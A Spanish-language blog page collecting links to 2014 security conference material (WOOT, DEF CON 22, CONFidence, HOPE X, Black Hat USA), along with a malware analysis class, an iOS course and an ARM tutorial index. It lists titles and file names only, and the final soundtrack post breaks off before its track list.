Clase gratuita sobre análisis dinámico de malware

En una de mis webs favoritas acaban de publicar los vídeos de la clase sobre análisis dinámico de malware.

La clase está planificada para 3 días, pero desafortunadamente, debido a un problema técnico, los vídeos del tercer día no están disponibles. De todas formas hay bastante material publicado.

Te puedes descargar todo el material en formato PDF u ODP. Dentro del archivo ZIP, hay otro archivo ZIP con malware, éste ZIP está protegido por la contraseña “infected” (sin las comillas).

Material del WOOT'14 y sesiones técnicas de 23 …

El 19 de agosto se dio lugar en San Diego una nueva edición de la USENIX, empezando con los workshops (WOOT ‘14), seguido por la 23 edición del USENIX Security Symposium, durante los tres días siguientes, del 20 al 22.

Aquí tenéis la lista de los workshops celebrados en la USENIX Workshop On Offensive Technology (WOOT) 2014. Podéis hacer click en cada enlace para saber más sobre el workshop y bajaros material del mismo, o si os queréis bajar todo el material de golpe, lo podéis hacer desde este enlace.

Er docu der finde: Los verdaderos revolucionarios

Defcon 22 - Vídeos de la Wireless Village

Gracias a IronGeek, tenemos disponible de las charlas dadas en la Wireless Village de la edición de este año de Defcon.

• Intro
• So ya wanna get into SDR? - Russell Handorf
• Pentoo Primer - Village People
• 802.11ac Evolution: Data rates and Beamforming - Eric Johnson
• Practical Foxhunting 101 - SimonJ
• Pwn Phone: gg next map - Timothy Mossey
• Hacking 802.11 Basics - Benjamin Smith
• UAV-Assisted Three-Dimensional Wireless Assessments - Scott Pack & Dale Rowe
• Manna from Heaven; Improving the state of wireless rogue AP attacks - Dominic White & Ian de Villiers
• ApiMote: a tool for speaking 802.15.4 dialects and frame injection - Ryan Speers & Sergey Bratus
• Pineapple Abductions - Craig Young
• Choosing your next antenna, types, power, sizes, the truth. - Raul J Plà
• Introduction to the Nordic nRF24L01+ - Larry Pesce
• Driver-less Wireless Devices - Dominic Spill & Dragorn
• Hacking the Wireless World with Software Defined Radio - 2.0 - Balint Seeber
• The NSA Playset: Bluetooth Smart Attack Tools - Mike Ryan
• PortaPack: Is that a HackRF in your pocket? - Jared Boone
• PHYs, MACs, and SDRs - Robert Ghilduta
• SDR Tricks with HackRF - Michael Ossmann
• SDR Unicorns Panel - Robert Ghilduta & Michael Ossmann & Balint Seeber
• Inside The Atheros WiFi Chipset - Adrian Chadd

Curso sobre el desarrollo de aplicaciones en iOS 7 …

The Complete iOS 7 Course - Learn by Building 14 Apps es un curso para aprender a programar en el sistema operativo móvil de Apple, iOS 7.

Éste te enseña todo lo que tienes que saber a través de la creación de 14 aplicaciones que irás haciendo durante el mismo. El curso está compuesto por más de 350 vídeos!! en los que te muestran paso a paso todos los detalles del mismo. iOS 7 no es la última versión de iOS, pero seguro que casi todo el contenido del mismo es aplicable a iOS 8.

Er docu der finde: Steve Jobs: Billion Dollar …

Introducción a la arquitectura y programación …

Cada vez son más los dispositivos que salen al mercado con procesadores ARM. No sólo teléfonos móviles y tabletas, sino dispositivos embebidos y pequeños como Raspberry Pi, Beaglebone, etc también incorporan dicha arquitectura.

Si estás interesado en aprender más sobre ARM, este tutorial está dividido en dos partes: Introduction to ARM y Efficient C for ARM.

El índice de la primera parte: Introduction to ARM, es el siguiente:

• Start
• Why Learn Assembly Language?
• Not a Trivial Mapping
• Instruction Sets
• Registers
• Program Counter
• Instruction Syntax
• Organisation
• Movement
• Arithmetic Instructions
• Logical Instructions
• Compare Instructions
• Barrel Shifter
• Operand2
• Immediate Values
• Branch Instructions
• Conditional Execution
• Multiply Instructions
• Single Register Data Transfer
• Addressing Modes
• Multiple Register Data Transfer
• The Stack
• A Call Chain
• Task One
• Task One - Answers
• Task Two
• Task Two - Answers
• Thumb
• Interworking
• Thumb Example
• Thumb-2
• ARM Ltd.
• Tools
• Applications
• ARM Architecture
• Early Architectures
• Architecture 4
• Architecture 5
• Architecture 6
• Architecture 7
• Summary of current ARM cores
• What’s inside various devices?
• Test
• Books

Y el de la segunda: Efficient C for ARM:

• Start
• Efficiency
• Before Tuning...
• Optimising
• Profilers
• Stuff That’s Slow on ARM
• Floating Point
• Division and Modulus
• Unaligned Data Access
• Bools
• Bitfields
• Padding
• Hoisting
• Data Drive
• Avoid Array Indexing
• Pointer Aliasing
• Pointer Chains
• Sentinels
• Loop Unrolling
• C Data Types
• Memory Access
• Local Variable Types
• Function Argument Types
• Taking a Variable’s Address
• Looping Structures
• Register Allocation
• Function Calls
• Small Functions
• Biasing Values
• Unsigned Ranges
• Base Pointer Optimisation
• References

Vídeos y diapositivas de CONFidence 2104

A continuación os dejo la lista de los vídeos (algunos con su correspondiente presentación) la conferencia sobre seguridad informática CONFidence 2014. Ésta se celebro los días 27 y 28 de mayo.

El material publicado es el siguiente:

• 50 Shades of RED: Stories from the “Playroom” - Video
• NSA for dummies …methods to break RSA - Video
• Scaling Security - Video
• ATMs – We kick their ass - Video - Slides
• Bitcoin Forensics: Fact or Fiction? - Video - Slides
• Shameful secrets of proprietary protocols - Video - Slides
• Evaluation of Transactional Controls in e-Banking Systems - Video - Slides
• All your SAP P@$$w0ЯdZ belong to us - Video - Slides
• Protecting Big Data at Scale - Video - Slides
• Security Implications of the Cross-Origin Resource Sharing - Video - Slides
• Asymmetric Defense “Using your home-field advantage” - Video - Slides
• Preventing violation of memory safety in C/C++ software - Video - Slides
• On the battlefield with the Dragons – the interesting and surprising CTF challenges - Video - Slides
• SCADA deep inside: protocols and security mechanisms - Video - Slides
• Exploring treasures of 77FEh - Video - Slides
• The Tale of 100 CVE’s - Video - Slides
• Hacking the Czech Parliament via SMS - Video

Audio de las charlas de la HOPE X

Los organizadores de la HOPE X han puesto disponible el audio de todas las charlas que se dieron lugar. Si quieres los vídeos, puedes comprarlos online.

HOPE X se dio lugar en Nueva York los pasados 18-20 de julio.

Aquí como de costumbre os dejamos las lista con todas las charlas:

• A Conversation with Edward Snowden - 16kbps - 128kbps
• Keynote Address – Daniel Ellsberg - 16kbps - 128kbps
• The Hacker Wars – A Conversation with NSA Whistleblower Thomas Drake - 16kbpsThe Hacker Wars - 128kbps
• #radBIOS: Yelling a Database across the Room - 16kbps - 128kbps
• (Geo)location, Location, Location: Technology and Countermeasures for Mobile Location Surveillance - 16kbps - 128kbps
• A Beautiful Mosaic: How to Use FOIA to Fight Secrecy, Explore History, and Strengthen American Democracy - 16kbps - 128kbps
• A Sea of Parts - 16kbps - 128kbps
• A Story of Self Publishing Success - 16kbps - 128kbps
• Apophenia: Hunting for the Ghost in the Machine - 16kbps - 128kbps
• Are You Ready to SIP the Kool-Aid? - 16kbps - 128kbps
• Art under Mass Surveillance - 16kbps - 128kbps
• Ask the EFF – This Year on the Internet - 16kbps - 128kbps
• Barrett Brown and Anonymous: Persecution of Information Activists - 16kbps - 128kbps
• Biohacking and DIYbiology North of the 45th Parallel - 16kbps - 128kbps
• Bless the Cops and Keep Them Far from Us: Researching, Exploring, and Publishing Findings While Staying out of Legal Trouble - 16kbps - 128kbps
• Blinding The Surveillance State - 16kbps - 128kbps
• Bootkits: Step-by-Step - 16kbps - 128kbps
• Bringing Down the Biological System: How Poisons Hack the Body - 16kbps - 128kbps
• Building an Open Source Cellular Network at Burning Man - 16kbps - 128kbps
• Can You Patent Software? - 16kbps - 128kbps
• Closing Ceremonies - 16kbps - 128kbps
• Codesigning Countersurveillance - 16kbps - 128kbps
• Community Infrastructure for FOSS Projects - 16kbps - 128kbps
• Community Owned and Operated Cellular Networks in Rural Mexico - 16kbps - 128kbps
• Crypto for Makers: Projects for the BeagleBone, Pi, and AVRs - 16kbps - 128kbps
• Cultures of Open Source: A Cross-Cultural Analysis - 16kbps - 128kbps
• Cyber Security in Humanitarian Projects as a Social Justice Issue - 16kbps - 128kbps
• Dark Mail - 16kbps - 128kbps
• Disruptive Wearable Technology - 16kbps - 128kbps
• DIY Usability Research: A Crash Course in Guerrilla Data Gathering - 16kbps - 128kbps
• Drop It Like It’s Hot: Secure Sharing and Radical OpSec for Investigative Journalists - 16kbps - 128kbps
• Echoes of Returns Lost: The History of The Telecom Digest - 16kbps - 128kbps
• Electric Waste Orchestra: Learning and Teaching Music, Electronics, Programming, and Repurposing - 16kbps - 128kbps
• Elevator Hacking: From the Pit to the Penthouse - 16kbps - 128kbps
• Ergonomic Human Interface Hacking - 16kbps - 128kbps
• Ethical Questions and Best Practices for Service Providers in the Post-Snowden Era - 16kbps - 128kbps
• Fuckhackerfucks! An Audience Bashing - 16kbps - 128kbps
• G-code: The Programming Language of Machining and 3D Printers - 16kbps - 128kbps
• Hacking Money, from Alexander the Great to Zerocoin - 16kbps - 128kbps
• Hacking the Patent System: The Vulnerabilities That Allow for Bad Patents and How to Stop Them - 16kbps - 128kbps
• Hearses and Hand-Held Calculators: The Unlikely Connections That Shaped Modern Technology and Tech Culture - 16kbps - 128kbps
• How to Prevent Security Afterthought Syndrome - 16kbps - 128kbps
• HTTP Must Die - 16kbps - 128kbps
• I Am The Cavalry: Lessons Learned Fuzzing the Chain of Influence - 16kbps - 128kbps
• Identifying Back Doors, Attack Points, and Surveillance Mechanisms in iOS Devices - 16kbps - 128kbps
• Jumping the Carbon-Silicon Boundary for Fun and (Mostly) Profit - 16kbps - 128kbps
• Keeping Old Code Alive: The Venerable LambdaMOO Server in 2014 - 16kbps - 128kbps
• Lessons Learned from Implementing Real Life Whistleblowing Platforms - 16kbps - 128kbps
• Lockpicking, a Primer - 16kbps - 128kbps
• Media, Popular Misconceptions, and the CSI Effect – What Does It Mean for InfoSec and Tech Policy? - 16kbps - 128kbps
• Movie: “Algorithm” - 16kbps - 128kbps
• Movie: “Die Gstettensaga: The Rise of Echsenfriedl” - 16kbps - 128kbps
• Movie: “The Internet’s Own Boy: The Story of Aaron Swartz” - 16kbps - 128kbps
• Movie: “War on Whistleblowers: Free Press and the National Security State” - 16kbps - 128kbps
• North Korea – Using Social Engineering and Concealed Electronic Devices to Gather Information in the World’s Most Restrictive Nation - 16kbps - 128kbps
• Obfuscation and its Discontents: DIY Privacy from Card Swap to Browser Hack - 16kbps - 128kbps
• Per Speculum In Ænigmate - 16kbps - 128kbps
• Postprivacy: A New Approach to Thinking about Life in the Digital Sphere - 16kbps - 128kbps
• PRISM-Proof Email: Why Email Is Insecure and How We Are Fixing It - 16kbps - 128kbps
• Privacy-Friendly Hypertext? Do Not Track, Privacy Badger, and the Advertising-Funded Web - 16kbps - 128kbps
• Project PM: Crowdsourcing Research of the Cyber-Intelligence Complex - 16kbps - 128kbps
• Reverse Engineering – Unlocking the Locks - 16kbps - 128kbps
• Rickrolling Your Neighbors with Google Chromecast - 16kbps - 128kbps
• Screening: “Nowhere to Hide” (working title: “Rambam Gets His Man”) - 16kbps - 128kbps
• SecureDrop: A WikiLeaks in Every Newsroom - 16kbps - 128kbps
• Securing a Home Router - 16kbps - 128kbps
• Shortwave Pirate Radio and Oddities of the Spectrum - 16kbps - 128kbps
• Showing Keys in Public – What Could Possibly Go Wrong? - 16kbps - 128kbps
• Skeuomorphic Steganography - 16kbps - 128kbps
• Social Engineering - 16kbps - 128kbps
• Solve the Hard Problem - 16kbps - 128kbps
• Spy Improv: Ask Me Anything - 16kbps - 128kbps
• SSL++: Tales of Transport-Layer Security at Twitter - 16kbps - 128kbps
• Steepest Dissent: Small Scale Digital Fabrication - 16kbps - 128kbps
• Stupid Whitehat Tricks - 16kbps - 128kbps
• Surveillance, Sousveillance, and Anti-Surveillance: Artistic Responses to Watching - 16kbps - 128kbps
• Teaching Electronic Privacy and Civil Liberties to Government - 16kbps - 128kbps
• Technology and Jamming of XKEYSCORE - 16kbps - 128kbps
• The Hidden World of Game Hacking - 16kbps - 128kbps
• The Internet Society Speaks – The History, Futures, and Alternate Directions of the Internet and Its Governance - 16kbps - 128kbps
• The Many Faces of LockSport - 16kbps - 128kbps
• The Repair Movement - 16kbps - 128kbps
• The Science of Surveillance - 16kbps - 128kbps
• The Sex Geek as Culture Hacker - 16kbps - 128kbps
• The Web Strikes Back – Fighting Mass Surveillance with Open Standards - 16kbps - 128kbps
• This Is the X You Are Looking For - 16kbps - 128kbps
• Threat Modeling and Security Test Planning - 16kbps - 128kbps
• Thwarting the Peasants: A Guided and Rambunctious Tour Through the 2600 DeCSS Legal Files - 16kbps - 128kbps
• Travel Hacking with The Telecom Informer - 16kbps - 128kbps
• Unmasking a CIA Criminal - 16kbps - 128kbps
• Updates from the Online Identity Battlefield - 16kbps - 128kbps
• Usable Crypto: New Progress in Web Cryptography - 16kbps - 128kbps
• Using Travel Routers to Hide in Safety - 16kbps - 128kbps
• Vigilante Justice: Masks, Guns, and Networks - 16kbps - 128kbps
• Visualization for Hackers: Why It’s Tricky, and Where to Start - 16kbps - 128kbps
• When Confidentiality and Privacy Conflict - 16kbps - 128kbps
• When Whistleblowers Are Branded as Spies: Edward Snowden, Surveillance, and Espionage - 16kbps - 128kbps
• When You Are the Adversary - 16kbps - 128kbps
• Why the Future is Open Wireless - 16kbps - 128kbps
• Will It Blend? How Evil Software Clogs the Pipes - 16kbps - 128kbps
• Wireless Meshnets: Building the Next Version of the Web - 16kbps - 128kbps
• You’ve Lost Privacy, Now They’re Taking Anonymity (aka Whistleblowing is Dead – Get Over It) - 16kbps - 128kbps
• Your Right to Whisper: LEAP Encryption Access Project - 16kbps - 128kbps

Material de la Black Hat USA 2014

Como muchos ya sabréis Black Hat USA 2014 se celebró la semana pasada, 2-7 agosto, como de costumbre en Las Vegas. Para los que no tuvieran la fortuna de haber asistido a esta conferencia, al menos podréis disfrutar del material que se presentó en las charlas, y que os enlazo a continuación:

• Cybersecurity as Realpolitik geer.blackhat.6viii14.txt
• 48 Dirty Little Secrets Cryptographers Don't Want You To Know
• 802.1x and Beyond!
• A Journey to Protect Points-of-Sale us-14-Valtman-A-Journey-To-Protect-Point-Of-Sale.pdf
• A Practical Attack Against VDI Solutions us-14-Brodie-A-Practical-Attack-Against-VDI-Solutions-WP.pdf
• A Scalable, Ensemble Approach for Building and Visualizing Deep Code-Sharing Networks Over Millions of Malicious Binaries us-14-Saxe.pdf us-14-Saxe-Tool.zip
• A Survey of Remote Automotive Attack Surfaces
• Abuse of CPE Devices and Recommended Fixes us-14-Spring-Abuse-Of-CPE-Devices-And-Recommended-Fixes-WP.pdf us-14-Spring-Abuse-Of-CPE-Devices-And-Recommended-Fixes.pdf
• Abusing Microsoft Kerberos: Sorry You Guys Don't Get It
• Abusing Performance Optimization Weaknesses to Bypass ASLR
• Android FakeID Vulnerability Walkthrough us-14-Forristal-Android-FakeID-Vulnerability-Walkthrough.pdf
• APT Attribution and DNS Profiling us-14-Li-APT-Attribution-And-DNS-Profiling-WP.pdf us-14-Li-APT-Attribution-And-DNS-Profiling.pdf
• Attacking Mobile Broadband Modems Like a Criminal Would us-14-Lindh-Attacking-Mobile-Broadband-Modems-Like-A-Criminal-Would-WP.pdf us-14-Lindh-Attacking-Mobile-Broadband-Modems-Like-A-Criminal-Would.pdf
• Babar-ians at the Gate: Data Protection at Massive Scale
• Badger - The Networked Security State Estimation Toolkit us-14-Rogers-Badger-The-Networked-Security-State-Estimation-Toolkit.pdf
• BadUSB - On Accessories that Turn Evil
• Bitcoin Transaction Malleability Theory in Practice us-14-Chechik-Bitcoin-Transaction-Malleability-Theory-In-Practice.pdf us-14-Chechik-Malleability-Tool-Tool.zip
• Breaking the Security of Physical Devices
• Bringing Software Defined Radio to the Penetration Testing Community us-14-Picod-Bringing-Software-Defined-Radio-To-The-Penetration-Testing-Community-WP.pdf us-14-Picod-Bringing-Software-Defined-Radio-To-The-Penetration-Testing-Community.pdf
• Building Safe Systems at Scale - Lessons from Six Months at Yahoo
• Call To Arms: A Tale of the Weaknesses of Current Client-Side XSS Filtering us-14-Johns-Call-To-Arms-A-Tale-Of-The-Weaknesses-Of-Current-Client-Side-XSS-Filtering-WP.pdf us-14-Johns-Call-To-Arms-A-Tale-Of-The-Weaknesses-Of-Current-Client-Side-XSS-Filtering.pdf
• Capstone: Next Generation Disassembly Framework
• Catching Malware En Masse: DNS and IP Style us-14-Mahjoub-Catching-Malware-En-Masse-DNS-And-IP-Style-WP.pdf us-14-Mahjoub-Catching-Malware-En-Masse-DNS-And-IP-Style.pdf
• Cellular Exploitation on a Global Scale: The Rise and Fall of the Control Protocol
• CloudBots: Harvesting Crypto Coins Like a Botnet Farmer
• Computrace Backdoor Revisited us-14-Kamluk-Computrace-Backdoor-Revisited-WP.pdf us-14-Kamlyuk-Kamluk-Computrace-Backdoor-Revisited.pdf
• Contemporary Automatic Program Analysis
• Creating a Spider Goat: Using Transactional Memory Support for Security us-14-Muttik-Creating-A-Spider-Goat-Using-Transactional-Memory-Support-For-Securitypdf.pdf
• Data-Only Pwning Microsoft Windows Kernel: Exploitation of Kernel Pool Overflows on Microsoft Windows 8.1 us-14-Tarakanov-Data-Only-Pwning-Microsoft-Windows-Kernel-Exploitation-Of-Kernel-Pool-Overflows-On-Microsoft-Windows-8.1.pdf
• Defeating the Transparency Feature of DBI us-14-Li-Defeating-The-Transparency-Feature-Of-DBI.pdf
• Digging for IE11 Sandbox Escapes us-14-Forshaw-Digging-For_IE11-Sandbox-Escapes.pdf us-14-Forshaw-Digging-For-IE11-Sandbox-Escapes-Tool.zip
• Dynamic Flash Instrumentation for Fun and Profit
• Epidemiology of Software Vulnerabilities: A Study of Attack Surface Spread
• Evasion of High-End IPS Devices in the Age of IPv6 us-14-Atlasis-Evasion-Of-HighEnd-IPS-Devices-In-The-Age-Of-IPv6-WP.pdf us-14-Atlasis-Evasion-Of-HighEnd-IPS-Devices-In-The-Age-Of-IPv6.pdf
• Exploiting Unpatched iOS Vulnerabilities for Fun and Profit
• Exposing Bootkits with BIOS Emulation us-14-Haukli-Exposing-Bootkits-With-BIOS-Emulation-WP.pdf us-14-Haukli-Exposing-Bootkits-With-BIOS-Emulation.pdf
• Extreme Privilege Escalation on Windows 8/UEFI Systems us-14-Kallenberg-Extreme-Privilege-Escalation-On-Windows8-UEFI-Systems-WP.pdf us-14-Kallenberg-Extreme-Privilege-Escalation-On-Windows8-UEFI-Systems.pdf
• Finding and Exploiting Access Control Vulnerabilities in Graphical User Interfaces us-14-Mulliner-Finding-And-Exploiting-Access-Control-Vulnerabilities-In-Graphical-User-Interfacess-WP.pdf us-14-Mulliner-Finding-And-Exploiting-Access-Control-Vulnerabilities-In-Graphical-User-Interfaces.pdf us-14-Mulliner-Finding-And-Exploiting-Access-Control-Vulnerabilities-In-Graphical-User-Interfaces-Tool.zip
• Fingerprinting Web Application Platforms by Variations in PNG Implementations us-14-Bongard-Fingerprinting-Web-Application-Platforms-By-Variations-In-PNG-Implementations-WP.pdf us-14-Bongard-Fingerprinting-Web-Application-Platforms-By-Variations-In-PNG-Implementations.pdf
• From Attacks to Action - Building a Usable Threat Model to Drive Defensive Choices
• Full System Emulation: Achieving Successful Automated Dynamic Analysis of Evasive Malware us-14-Kruegel-Full-System-Emulation-Achieving-Successful-Automated-Dynamic-Analysis-Of-Evasive-Malware-WP.pdf us-14-Kruegel-Full-System-Emulation-Achieving-Successful-Automated-Dynamic-Analysis-Of-Evasive-Malware.pdf
• Governments As Malware Authors: The Next Generation us-14-Hypponen-Goverments-As-Malware-Authors.pdf
• GRR: Find All the Badness, Collect All the Things us-14-Castle-GRR-Find-All-The-Badness-Collect-All-The-Things-WP.pdf us-14-Castle-GRR-Find-All-The-Badness-Collect-All-The-Things.pdf
• Hacking the Wireless World with Software Defined Radio - 2.0 us-14-Seeber-Hacking-The-Wireless-World-With-Software-Defined-Radio-2.0.pdf
• How Smartcard Payment Systems Fail us-14-Anderson-How_Smartcard-Payment-Systems-Fail.pdf
• How to Leak a 100-Million-Node Social Graph in Just One Week? - A Reflection on Oauth and API Design in Online Social Networks us-14-Hu-How-To-Leak-A100-Million-Node-Social-Graph-In-Just-One-Week-WP.pdf us-14-Hu-How-To-Leak-A100-Million-Node-Social-Graph-In-Just-One-Week.pdf
• How to Wear Your Password us-14-Jakobsson-How-To-Wear-Your-Password-WP.pdf us-14-Jakobsson-How-To-Wear-Your-Password.pdf
• I Know Your Filtering Policy Better than You Do: External Enumeration and Exploitation of Email and Web Security Solutions us-14-Williams-I-Know-Your-Filtering-Policy-Better-Than-You-Do-WP.pdf us-14-Williams-I-Know-Your-Filtering-Policy-Better-Than-You-Do.pdf
• ICSCorsair: How I Will PWN Your ERP Through 4-20 mA Current Loop us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop.pdf
• Internet Scanning - Current State and Lessons Learned us-14-Schloesser-Internet-Scanning-Current-State-And-Lessons-Learned.pdf
• Investigating PowerShell Attacks us-14-Kazanciyan-Investigating-Powershell-Attacks-WP.pdf us-14-Kazanciyan-Investigating-Powershell-Attacks.pdf
• It Just (Net)works: The Truth About iOS 7's Multipeer Connectivity Framework
• Learn How to Control Every Room at a Luxury Hotel Remotely: The Dangers of Insecure Home Automation Deployment
• Leviathan: Command and Control Communications on Planet Earth us-14-Geers-Leviathan-Command-And-Control-Communications-On-Planet-Earth-WP.pdf us-14-Geers-Leviathan-Command-And-Control-Communications-On-Planet-Earth.pdf
• Lifecycle of a Phone Fraudster: Exposing Fraud Activity from Reconnaissance to Takeover Using Graph Analysis and Acoustical Anomalies us-14-Balasubramaniyan-Lifecycle-Of-A-Phone-Fraudster-WP.pdf us-14-Balasubramaniyan-Lifecycle-Of-A-Phone-Fraudster.pdf
• Miniaturization us-14-Larsen-Miniturization-WP.pdf us-14-Larsen-Miniturization.pdf
• Mission mPOSsible
• Mobile Device Mismanagement
• MoRE Shadow Walker: The Progression of TLB-Splitting on x86 us-14-Torrey-MoRE-Shadow-Walker-The-Progression-Of-TLB-Splitting-On-x86-WP.pdf us-14-Torrey-MoRE-Shadow-Walker-The-Progression-Of-TLB-Splitting-On-x86.pdf
• Multipath TCP: Breaking Today's Networks with Tomorrow's Protocols us-14-Pearce-Multipath-TCP-Breaking-Todays-Networks-With-Tomorrows-Protocols-WP.pdf us-14-Pearce-Multipath-TCP-Breaking-Todays-Networks-With-Tomorrows-Protocols.pdf us-14-Pearce-Multipath-TCP-Breaking-Todays-Networks-With-Tomorrows-Protocols-Tool.zip
• My Google Glass Sees Your Passwords! us-14-Fu-My-Google-Glass-Sees-Your-Passwords-WP.pdf us-14-Fu-My-Google-Glass-Sees-Your-Passwords.pdf
• Network Attached Shell: N.A.S.ty Systems that Store Network Accessible Shells
• "Nobody is Listening to Your Phone Calls." Really? A Debate and Discussion on the NSA's Activities
• One Packer to Rule Them All: Empirical Identification, Comparison, and Circumvention of Current Antivirus Detection Techniques us-14-Mesbahi-One-Packer-To-Rule-Them-All-WP.pdf us-14-Mesbahi-One-Packer-To-Rule-Them-All.pdf
• OpenStack Cloud at Yahoo Scale: How to Avoid Disaster
• Oracle Data Redaction is Broken
• Pivoting in Amazon Clouds us-14-Riancho-Pivoting-In-Amazon-Clouds-WP.pdf us-14-Riancho-Pivoting-In-Amazon-Clouds.pdf us-14-Riancho-Nimbostratus-Target-Tool.zip us-14-Riancho-Nimbostratus-Tool.zip
• Poacher Turned Gamekeeper: Lessons Learned from Eight Years of Breaking Hypervisors us-14-Wojtczuk-Poacher-Turned-Gamekeeper-Lessons_Learned-From-Eight-Years-Of-Breaking-Hypervisors.pdf
• Point of Sale System Architecture and Security us-14-Zaichkowsky-Point-Of-Sale System-Architecture-And-Security.pdf
• Prevalent Characteristics in Modern Malware us-14-Branco-Prevalent-Characteristics-In-Modern-Malware.pdf
• Probabilistic Spying on Encrypted Tunnels us-14-Niemczyk-Probabilist-Spying-On-Encrypted-Tunnels.pdf us-14-Niemczyk-Pacumen.tar-Tool.gz
• Protecting Data In-Use from Firmware and Physical Attacks us-14-Weis-Protecting-Data-In-Use-From-Firmware-And-Physical-Attacks-WP.pdf us-14-Weis-Protecting-Data-In-Use-From-Firmware-And-Physical-Attacks.pdf
• Pulling Back the Curtain on Airport Security: Can a Weapon Get Past TSA? us-14-Rios-Pulling-Back-The-Curtain-On-Airport-Security.pdf
• RAVAGE - Runtime Analysis of Vulnerabilities and Generation of Exploits us-14-Wang-RAVAGE-Runtime-Analysis-Of-Vulnerabilities-And-Generation-Of-Exploits.pdf
• Reflections on Trusting TrustZone us-14-Rosenberg-Reflections-On-Trusting-TrustZone-WP.pdf us-14-Rosenberg-Reflections-on-Trusting-TrustZone.pdf
• Researching Android Device Security with the Help of a Droid Army
• Reverse Engineering Flash Memory for Fun and Benefit us-14-Oh-Reverse-Engineering-Flash-Memory-For-Fun-And-Benefit-WP.pdf us-14-Oh-Reverse-Engineering-Flash-Memory-For-Fun-And-Benefit.pdf
• Reverse-Engineering the Supra iBox: Exploitation of a Hardened MSP430-Based Device
• SAP, Credit Cards, and the Bird that Talks Too Much us-14-Arsal-SAP-Credit-Cards-And-The-Bird-That-Talks-Too-Much.pdf
• SATCOM Terminals: Hacking by Air, Sea, and Land us-14-Santamarta-SATCOM-Terminals-Hacking-By-Air-Sea-And-Land-WP.pdf us-14-Santamarta-SATCOM-Terminals-Hacking-By-Air-Sea-And-Land.pdf
• Saving Cyberspace us-14-Healey-Saving-Cyberspace-WP.pdf us-14-Healey-Saving-Cyberspace.pdf
• SecSi Product Development: Techniques for Ensuring Secure Silicon Applied to Open-Source Verilog Projects us-14-FitzPatrick-SecSi-Product-Development-WP.pdf us-14-FitzPatrick-SecSi-Product-Development.pdf
• Secure Because Math: A Deep-Dive on Machine Learning-Based Monitoring us-14-Pinto-Secure-Because-Math-A-Deep-Dive-On-Machine-Learning-Based-Monitoring-WP.pdf
• Sidewinder Targeted Attack Against Android in the Golden Age of Ad Libs us-14-Wei-Sidewinder-Targeted-Attack-Against-Android-In-The-Golden-Age-Of-Ad-Libs.pdf
• Smart Nest Thermostat: A Smart Spy in Your Home us-14-Jin-Smart-Nest-Thermostat-A-Smart-Spy-In-Your-Home-WP.pdf us-14-Jin-Smart-Nest-Thermostat-A-Smart-Spy-In-Your-Home.pdf
• Static Detection and Automatic Exploitation of Intent Message Vulnerabilities in Android Applications
• Stay Out of the Kitchen: A DLP Security Bake-Off
• SVG: Exploiting Browsers without Image Parsing Bugs
• The Beast is in Your Memory: Return-Oriented Programming Attacks Against Modern Control-Flow Integrity Protection Techniques
• The BEAST Wins Again: Why TLS Keeps Failing to Protect HTTP
• The Big Chill: Legal Landmines that Stifle Security Research and How to Disarm Them
• The Devil Does Not Exist - The Role of Deception in Cyber us-14-Mateski-The-Devil-Does-Not-Exist-The-Role-Of-Deception-In-Cyber.pdf
• The Library of Sparta us-14-Raymond-The-Library-Of-Sparta-WP.pdf us-14-Raymond-The-Library-Of-Sparta.pdf
• The New Page of Injections Book: Memcached Injections us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf
• The New Scourge of Ransomware: A Study of CryptoLocker and Its Friends
• The State of Incident Response
• Thinking Outside the Sandbox - Violating Trust Boundaries in Uncommon Ways us-14-Gorenc-Thinking-Outside-The-Sandbox-Violating-Trust-Boundaries-In-Uncommon-Ways-WP.pdf us-14-Gorenc-Thinking-Outside-The-Sandbox-Violating-Trust-Boundaries-In-Uncommon-Ways.pdf
• Threat Intelligence Library - A New Revolutionary Technology to Enhance the SOC Battle Rhythm!
• Time Trial: Racing Towards Practical Timing Attacks us-14-Mayer-Time-Trial-Racing-Towards-Practical-Timing-Attacks-WP.pdf us-14-Mayer-Time-Trial-Racing-Towards-Practical-Timing-Attackss.pdf
• Understanding IMSI Privacy
• Understanding TOCTTOU in the Windows Kernel Font Scaler Engine
• Unveiling the Open Source Visualization Engine for Busy Hackers us-14-Hay-Unveiling-The-Open-Source-Visualization-Engine-For-Busy-Hackers-WP.pdf us-14-Hay-Unveiling-The-Open-Source-Visualization-Engine-For-Busy-Hackers.pdf us-14-Hay-OpenGraphiti-Black-Hat-2014-Release-Tool.zip
• Unwrapping the Truth: Analysis of Mobile Application Wrapping Solutions
• VoIP Wars: Attack of the Cisco Phones us-14-Ozavci-VoIP-Wars-Attack-Of-The-Cisco-Phones.pdf us-14-Ozavci-Viproy-1.9.0-Tool.zip
• What Goes Around Comes Back Around - Exploiting Fundamental Weaknesses in Botnet C&C Panels! us-14-Sood-What-Goes-Around-Comes-Back-Around-Exploiting-Fundamental-Weaknesses-In-Botnet-C&C-Panels-WP.pdf us-14-Sood-What-Goes-Around-Comes-Back-Around-Exploiting-Fundamental-Weaknesses-In-Botnet-C&C-Panels.pdf
• When the Lights Go Out: Hacking Cisco EnergyWise us-14-Luft-When-The-Lights-Go-Out-Hacking-Cisco-EnergyWise-WP.pdf us-14-Luft-When-The-Lights-Go-Out-Hacking-Cisco-EnergyWise.pdf us-14-Luft-When-The-Lights-Go-Out-Hacking-Cisco-EnergyWise-Tool.zip
• Why Control System Cyber-Security Sucks... us-14-Luders-Why-Control-System-Cyber-Security-Sucks.pdf
• Why You Need to Detect More Than PtH us-14-Hathaway-Why-You-Need-To-Detect-More-Than-PtH-WP.pdf us-14-Hathaway-Why-You-Need-To-Detect-More-Than-PtH.pdf
• Windows Kernel Graphics Driver Attack Surface us-14-vanSprundel-Windows-Kernel-Graphics-Driver-Attack-Surface.pdf
• Write Once, Pwn Anywhere

Er docu der finde: The Internet's own boy - La …

No olvides activar los subtítulos (captions) en español.

Banda sonora oficial de DEF CON 22

Otro año, otra DEF CON, más música, más hacking, más, más… La DEF CON 22 ya tiene banda sonora, disponible de forma totalmente gratuita como en años anteriores, aunque siempre puedes ponerle precio y así reconocer y agradecer el trabajo a sus autores.

Las pistas están disponibles en Gravitas Recordings. Puedes escuchar las canciones online o bien descargarlas para poder escucharlas en cualquier momento sin tener que estar conectado a internet. Esta la lista de las pistas:

